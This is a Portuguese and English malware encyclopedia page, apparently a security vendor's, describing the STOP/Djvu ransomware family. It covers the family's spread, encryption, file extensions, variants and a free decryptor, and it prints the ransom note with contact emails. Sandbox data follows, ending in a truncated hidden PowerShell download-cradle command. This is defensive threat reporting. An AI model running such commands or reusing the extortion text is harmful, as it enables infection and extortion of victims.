STOP Djvu Ransomware

A família STOP ransomware, também denominada família STOP Djvu Ransomware, é uma peça ameaçadora de malware. O STOP Djvu é apenas uma das várias ameaças que compartilham características comuns e se originam do ransomware STOP, embora alguns de seus métodos para afetar os tipos de arquivo e criptografar as extensões de arquivo sejam diferentes.

O STOP Ransomware original foi detectado por pesquisadores de segurança já em fevereiro de 2018. No entanto, desde então, ele evoluiu e sua família de clones e ramificações cresceu. O principal método de distribuição do ransomware STOP eram as campanhas de e-mail de spam usando anexos corrompidos.

O ransomware STOP Djvu funciona de maneira semelhante a outras ameaças de ransomware de seu tipo, criptografando e bloqueando o acesso aos principais arquivos que os usuários podem estar utilizando em seu sistema. Arquivos pessoais, fotos, documentos e muito mais podem ser criptografados e basicamente desativados para todos os usuários da máquina. O ransomware STOP Djvu foi detectado pela primeira vez em dezembro de 2018 no que parecia ser uma campanha de infecção online bastante bem-sucedida. Os pesquisadores não sabiam como o ransomware se espalhou, mas as vítimas relataram que estavam descobrindo infecções depois de baixar keygens ou rachaduras. Assim que a infiltração ocorre, STOP Djvu ransomware altera as configurações do Windows, acrescentando arquivos com uma variedade de nomes, como .djvu, .djvus, .djvuu, .uudjvu, .udjvu ou .djvuq e as extensões .promorad e .promock recentes. As versões mais recentes ainda não têm um descriptografador, mas as mais antigas podem ser descriptografadas usando o STOPDecrypter. Os usuários são aconselhados a evitar pagar qualquer resgate, não importa o quê

O método usado para bloquear o acesso aos arquivos usa o algoritmo de criptografia RSA. Embora a descriptografia dos arquivos possa parecer difícil para usuários inexperientes, definitivamente não há necessidade de fazer qualquer esforço para pagar as pessoas por trás da ameaça. Em geral, são feitas falsas promessas em tais situações, de modo que os usuários podem descobrir rapidamente que foram ignorados assim que os pagamentos foram feitos.

Os ataques do ransomware STOP Djvu foram relatados pela primeira vez no final de 2018. O principal método de distribuição do STOP Djvu continuaram sendo os e-mails de spam e os ajustes no núcleo do ransomware eram relativamente pequenos. A maioria dos anexos falsos e comprometidos usados nos e-mails de spam eram documentos de escritório habilitados para macro ou arquivos PDF falsos que executariam o ransomware sem o conhecimento da vítima. O comportamento do STOP Djvu também não mudou muito - o ransomware ainda exclui todos os instantâneos do Shadow Volume para se livrar dos backups e, em seguida, começa a criptografar os arquivos da vítima.

Existem pequenas alterações na nota de resgate, que é salva como '_openme.txt' na área de trabalho da vítima. O texto da nota de resgate pode ser encontrado aqui:

'[início da nota de resgate]

———————— TODOS OS SEUS ARQUIVOS SÃO ENCRIPTADOS ————————

Não se preocupe, você pode devolver todos os seus arquivos! Todos os seus documentos de arquivos, fotos, bancos de dados e outros importantes são criptografados com criptografia mais forte e chave única. O único método de recuperação de arquivos é comprar uma ferramenta de descriptografia e uma chave exclusiva para você. Este software irá descriptografar todos os seus arquivos criptografados. Que garantias damos a você? Você pode enviar um de seus arquivos criptografados do seu PC e nós o descriptografamos gratuitamente. Mas podemos descriptografar apenas 1 arquivo gratuitamente. O arquivo não deve conter informações valiosas Não tente usar ferramentas de descriptografia de terceiros, pois isso destruirá seus arquivos. Desconto de 50% disponível se nos contactar nas primeiras 72 horas.

————————————————————————————————————-

Para obter este software você precisa escrever em nosso e-mail: helphadow@india.com Reserve o endereço de e-mail para nos contatar: helphadow@firemail.cc Seu ID pessoal: [string] [final da nota de resgat

O ransomware se limitou a renomear os arquivos criptografados com a extensão .djvu originalmente, o que foi uma escolha curiosa porque .djvu é na verdade um formato de arquivo legítimo desenvolvido pela AT&T Labs e usado para armazenar documentos digitalizados, algo semelhante ao .pdf da Adobe. Versões posteriores do ransomware adotaram uma série de outras extensões para arquivos criptografados, incluindo '.chech,' '.luceq,' '.kroput1,' '.charck,' '.kropun ,,' .luces, '' .pulsar1, '' .uudjvu, '' .djvur, '' .tfude, '' .tfudeq 'e' .tfudet '.

A família do STOP/Djvu Ransomware é muito prolífica, porque os cibercriminosos usam seu modelo para criar inúmeras variantes ameaçadoras. Algumas dessas variantes incluem o Aeur Ransomware, Bbii Ransomware, Bbnm Ransomware, Bbzz Ransomware, Bbyy Ransomware, Bnrs Ransomware, Byya Ransomware, Ckae Ransomware, Dmay Ransomware, Dewd Ransomware, Dfwe Ransomware, Eegf Ransomware, Errz Ransomware, Ewdf Ransomware, Fdcv Ransomware, Fefg Ransomware, Gcyi Ransomware, Ghas Ransomware, Hruu Ransomware, Hhjk Ransomware, Ifla Ransomware, Jhbg Ransomware, Jhdd Ransomware, Kxde Ransomware, Kruu Ransomware, Loov Ransomware, Mine Ransomware, Mmob Ransomware, Nnuz Ransomware, Nuhb Ransomware, OOII Ransomware, PPHG Ransomware, Qall Ransomware, Qlnn Ransomware, Rrcc Ransomware, Rrbb Ransomware, Rryy Ransomware, Sijr Ransomware, Tuid Ransomware, Uihj Ransomware, Uyjh Ransomware, Vomm Ransomware, Wnlu Ransomware, Xcbg Ransomware, Ygvb Ransomware, Zfdv Ransomware and Zpps Ransomware.

Certas cepas do ransomware STOP Djvu podem ser descriptografadas gratuitamente, usando o chamado 'STOPDecrypter' que foi desenvolvido pelo pesquisador de segurança Michael Gillespie e está disponível online como um download gratuito.

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STOP Djvu Ransomware capturas de tela

Relatório de análise

Informação geral

Family Name:	STOP/DJVU Ransomware
Signature status:	Self Signed

Known Samples

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Known Samples

This section lists other file samples believed to be associated with this family.

MD5: def8a7bfe5fe47d95a95085d8dbc7a53 SHA1: 7182d4b2f55a560d83edf0824e119f71fa8422b6 SHA256: B83855EA63E7F28396099A5B6E877BE537E78E4A50DF720262461A1D13B02192 Tamanho do Arquivo: 6.29 MB, 6292105 bytes

MD5: a6b8c0cb178c31dd347554c3e5a0d5f8 SHA1: 91864f269d696ee80869cfeb3c9a204f8031a3bb SHA256: 4FFB8E9ADF508662B5E51CBEC75B2E07CE1CBBFAAB873F72EDC7BAC385421E2C Tamanho do Arquivo: 3.47 MB, 3471869 bytes

MD5: 2336c9624d9a44c393d354206226f508 SHA1: ea7edc388ad62990f52b9ed40df26d20f4e20190 SHA256: CE48ED04C92143B7E91F9665DD9337B2EE0B9CC1B5AEE534D26C09E084F8ABB0 Tamanho do Arquivo: 1.36 MB, 1359918 bytes

MD5: 42f32aa699bc45a3638ddeb325ebebc1 SHA1: 508cea3ba2bf04cc6851295f92bf0e752071f6b8 SHA256: 16532B38591B713395C288B11610494BCC4C4537BE492D43C54D66FEB7B95FA4 Tamanho do Arquivo: 1.33 MB, 1328186 bytes

MD5: 2391d41548b6432191f73edefa273928 SHA1: 620b714f84955aa7fb9a2f2cd528daa1621e18af SHA256: 4D1EFAA3477B0B8D84025F3F0109E97ABA7CEB37F174B9DC79B7966CBB430959 Tamanho do Arquivo: 3.36 MB, 3357556 bytes

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MD5: 710c3a1beb616d4aa7d5ed9a7f8848e4 SHA1: 326da9ddc0ea840e83f31fbf1f3377a06c911fe5 SHA256: 051DAB5E5247E25D6EB059A574383FB1EC99A5A4AAF9AA3694240FE25FA260AB Tamanho do Arquivo: 1.36 MB, 1364106 bytes

MD5: 601b120a6f39f72847b2f581a3d5f158 SHA1: 0cc5781c1cfe6c5d034bd098229773e80e083732 SHA256: BEC2BFF460615A35D4EA35BF25E9F89337E35E73441A4AC07562CE8E89BED818 Tamanho do Arquivo: 4.86 MB, 4858569 bytes

MD5: a7b76a49f289081961f8f3824f0b62ca SHA1: 6908790199785be7fc6c4eeb1fe426ee1b66cc0b SHA256: 1A721E054386833AEBBF94C75871143376897E92C4A48278DDE95E6987634F45 Tamanho do Arquivo: 1.41 MB, 1406899 bytes

MD5: 9f37930d62a1e08f68aa0a72472e7a55 SHA1: 27706b3ff639e5dfa264a823dbe9229cf34ae153 SHA256: 29039902EEA4EE24C4C6368AA9B1D7F86BEC65ADA3ABDB0B92C1FEF311ACD31F Tamanho do Arquivo: 600.12 KB, 600124 bytes

MD5: 7a18839fe61e9cde0e8fea3100acfb2b SHA1: 9476c97a73e027016e9f6f2f20c2fb19264cd837 SHA256: 0271095F0AD5C6F26C9738ED5636E751B8868C1AE3B08D5D8C5218121D9FEEAF Tamanho do Arquivo: 316.83 KB, 316832 bytes

Windows Portable Executable Attributes

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Windows Portable Executable Attributes

This section lists file attributes found within family samples. These attributes are extracted from the files’ Windows PE (Portable Executable) specification and various system flags. Portable Executable Attributes give malware researchers insight into a file’s functionality, executable details, platform and runtime environment.

• File doesn't have "Rich" header
• File doesn't have debug information
• File doesn't have exports table
• File doesn't have relocations information
• File doesn't have security information
• File has exports table
• File has TLS information
• File is 32-bit executable
• File is 64-bit executable
• File is either console or GUI application

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• File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
• File is Native application (NOT .NET application)
• File is not packed
• IMAGE_FILE_DLL is not set inside PE header (Executable)
• IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

File Icons

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File Icons

This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.

Windows PE Version Information

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Windows PE Version Information

This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.

Nome	Valor
Assembly Version	1.4.1.0
Comments	This installation was built with Inno Setup.
Company Name	Alexander Roshal TrayToolbar WinTools Software Engineering, Ltd.
File Description	Archiwizer WinRAR Gestione archivi WinRAR RAM Saver Professional TrayToolbar WinRAR 5.60 64 Bit Setup WinRAR Installer
File Version	26.2.1 26.0.1 25.7.1 25.4.1 6.20.2 6.2.0 1.4.1.0 1.3.0.0 1.00
Internal Name	TJprojMain TrayToolbar.dll WinRAR
Legal Copyright	Copyright © Alexander Roshal 1993-2021 Copyright © Alexander Roshal 1993-2022 Copyright © Alexander Roshal 1993-2025 © Brontech, LLC
Original Filename	TJprojMain.exe TrayToolbar.dll WinRAR.exe
Product Name	Project1 RAM Saver 25.4.1 Professional RAM Saver 25.7.1 Professional RAM Saver 26.0.1 Professional RAM Saver 26.2.1 Professional TrayToolbar WinRAR WinRAR 5.60 64 Bit WinRAR Installer
Product Version	26.2.1 26.0.1 25.7.1 25.4.1 6.20.2 6.2.0 5.60 1.4.1+80dec33e25323db7125ddec35b475aa881292801 1.4.0 1.00

Digital Signatures

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Digital Signatures

This section lists digital signatures that are attached to samples within this family. When analyzing and verifying digital signatures, it is important to confirm that the signature’s root authority is a well-known and trustworthy entity and that the status of the signature is good. Malware is often signed with non-trustworthy “Self Signed” digital signatures (which can be easily created by a malware author with no verification). Malware may also be signed by legitimate signatures that have an invalid status, and by signatures from questionable root authorities with fake or misleading “Signer” names.

Signer	Root	Status
win.rar GmbH	DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1	Self Signed
win.rar GmbH	GlobalSign CodeSigning CA - SHA256 - G3	Hash Mismatch

File Traits

• .NET
• 2+ executable sections
• big overlay
• HighEntropy
• Inno
• InnoSetup Installer
• Installer Manifest
• Installer Version
• MZ (In Overlay)
• No Version Info

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• Nullsoft Installer
• RAR (In Overlay)
• RARinO
• Run
• SusSec
• vb6
• WinRAR SFX
• WRARSFX
• x64
• x86

Files Modified

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Files Modified

This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.

File	Attributes
\device\namedpipe	Generic Read,Write Attributes
\device\namedpipe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-13e8d.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-88uan.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-8gkji.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-af9e7.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-du263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-i0kj9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-jos42.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-pk5hm.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data

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c:\users\user\appdata\local\temp\is-r9udb.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-shkd6.tmp\_isetup\_setup64.tmp	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\nsva331.tmp\banner.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\nsexec.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\system.dll	Generic Write,Read Attributes

Registry Modifications

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Registry Modifications

This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.

Key::Value	Dados	API Name
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75		RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	졷鑂셱ǜ	RegNtPreCreateKey

Windows API Usage

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Windows API Usage

This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.

Category	API
Other Suspicious	SetWindowsHookEx
Anti Debug	IsDebuggerPresent OutputDebugString
User Data Access	GetUserDefaultLocaleName GetUserObjectInformation
Process Manipulation Evasion	NtUnmapViewOfSection ZwMapViewOfSection
Process Shell Execute	CreateProcess
Keyboard Access	GetKeyState
Syscall Use	ntdll.dll!NtAccessCheck ntdll.dll!NtAlertThreadByThreadId ntdll.dll!NtAlpcConnectPortEx ntdll.dll!NtAlpcCreateSecurityContext ntdll.dll!NtAlpcDeleteSecurityContext ntdll.dll!NtAlpcQueryInformation ntdll.dll!NtAlpcSendWaitReceivePort ntdll.dll!NtApphelpCacheControl ntdll.dll!NtClearEvent ntdll.dll!NtClose Show More ntdll.dll!NtConnectPort ntdll.dll!NtCreateEvent ntdll.dll!NtCreateMutant ntdll.dll!NtCreateSection ntdll.dll!NtCreateSemaphore ntdll.dll!NtCreateThreadEx ntdll.dll!NtDuplicateObject ntdll.dll!NtDuplicateToken ntdll.dll!NtEnumerateValueKey ntdll.dll!NtFreeVirtualMemory ntdll.dll!NtMapViewOfSection ntdll.dll!NtNotifyChangeKey ntdll.dll!NtOpenDirectoryObject ntdll.dll!NtOpenEvent ntdll.dll!NtOpenFile ntdll.dll!NtOpenKey ntdll.dll!NtOpenKeyEx ntdll.dll!NtOpenProcessToken ntdll.dll!NtOpenProcessTokenEx ntdll.dll!NtOpenSection ntdll.dll!NtOpenSemaphore ntdll.dll!NtOpenThreadToken ntdll.dll!NtOpenThreadTokenEx ntdll.dll!NtProtectVirtualMemory ntdll.dll!NtQueryAttributesFile ntdll.dll!NtQueryFullAttributesFile ntdll.dll!NtQueryInformationFile ntdll.dll!NtQueryInformationProcess ntdll.dll!NtQueryInformationThread ntdll.dll!NtQueryInformationToken ntdll.dll!NtQueryKey ntdll.dll!NtQueryLicenseValue ntdll.dll!NtQueryPerformanceCounter ntdll.dll!NtQuerySecurityAttributesToken ntdll.dll!NtQuerySecurityObject ntdll.dll!NtQuerySystemInformation ntdll.dll!NtQuerySystemInformationEx ntdll.dll!NtQueryValueKey ntdll.dll!NtQueryVirtualMemory ntdll.dll!NtQueryVolumeInformationFile ntdll.dll!NtQueryWnfStateData ntdll.dll!NtReleaseMutant ntdll.dll!NtReleaseSemaphore ntdll.dll!NtReleaseWorkerFactoryWorker ntdll.dll!NtRequestWaitReplyPort ntdll.dll!NtResumeThread ntdll.dll!NtSetEvent ntdll.dll!NtSetInformationKey ntdll.dll!NtSetInformationProcess ntdll.dll!NtSetInformationThread ntdll.dll!NtSetInformationVirtualMemory ntdll.dll!NtSetInformationWorkerFactory ntdll.dll!NtSetTimer2 ntdll.dll!NtSubscribeWnfStateChange ntdll.dll!NtTestAlert ntdll.dll!NtTraceControl ntdll.dll!NtUnmapViewOfSection ntdll.dll!NtUnmapViewOfSectionEx ntdll.dll!NtWaitForAlertByThreadId ntdll.dll!NtWaitForMultipleObjects ntdll.dll!NtWaitForSingleObject ntdll.dll!NtWaitForWorkViaWorkerFactory ntdll.dll!NtWaitLowEventPair ntdll.dll!NtWorkerFactoryWorkerReady ntdll.dll!NtWriteFile UNKNOWN
Encryption Used	BCryptOpenAlgorithmProvider

Shell Command Execution

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Shell Command Execution

This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.

"C:\Users\Lehsoaco\AppData\Local\Temp\is-88UAN.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp" /SL5="$5036E,928289,131584,c:\users\user\downloads\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918"

"C:\Users\Dfhrhqtz\AppData\Local\Temp\is-13E8D.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp" /SL5="$802E8,896816,131584,c:\users\user\downloads\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186"

"C:\Users\Eberzneu\AppData\Local\Temp\is-DU263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp" /SL5="$30364,932379,131584,c:\users\user\downloads\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106"

"C:\Users\Qxnqehmu\AppData\Local\Temp\is-8GKJI.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp" /SL5="$402E8,3435751,309760,c:\users\user\downloads\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569"

"C:\Users\Qlwpcgcn\AppData\Local\Temp\is-I0KJ9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp" /SL5="$30336,975597,131584,c:\users\user\downloads\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899"

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powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient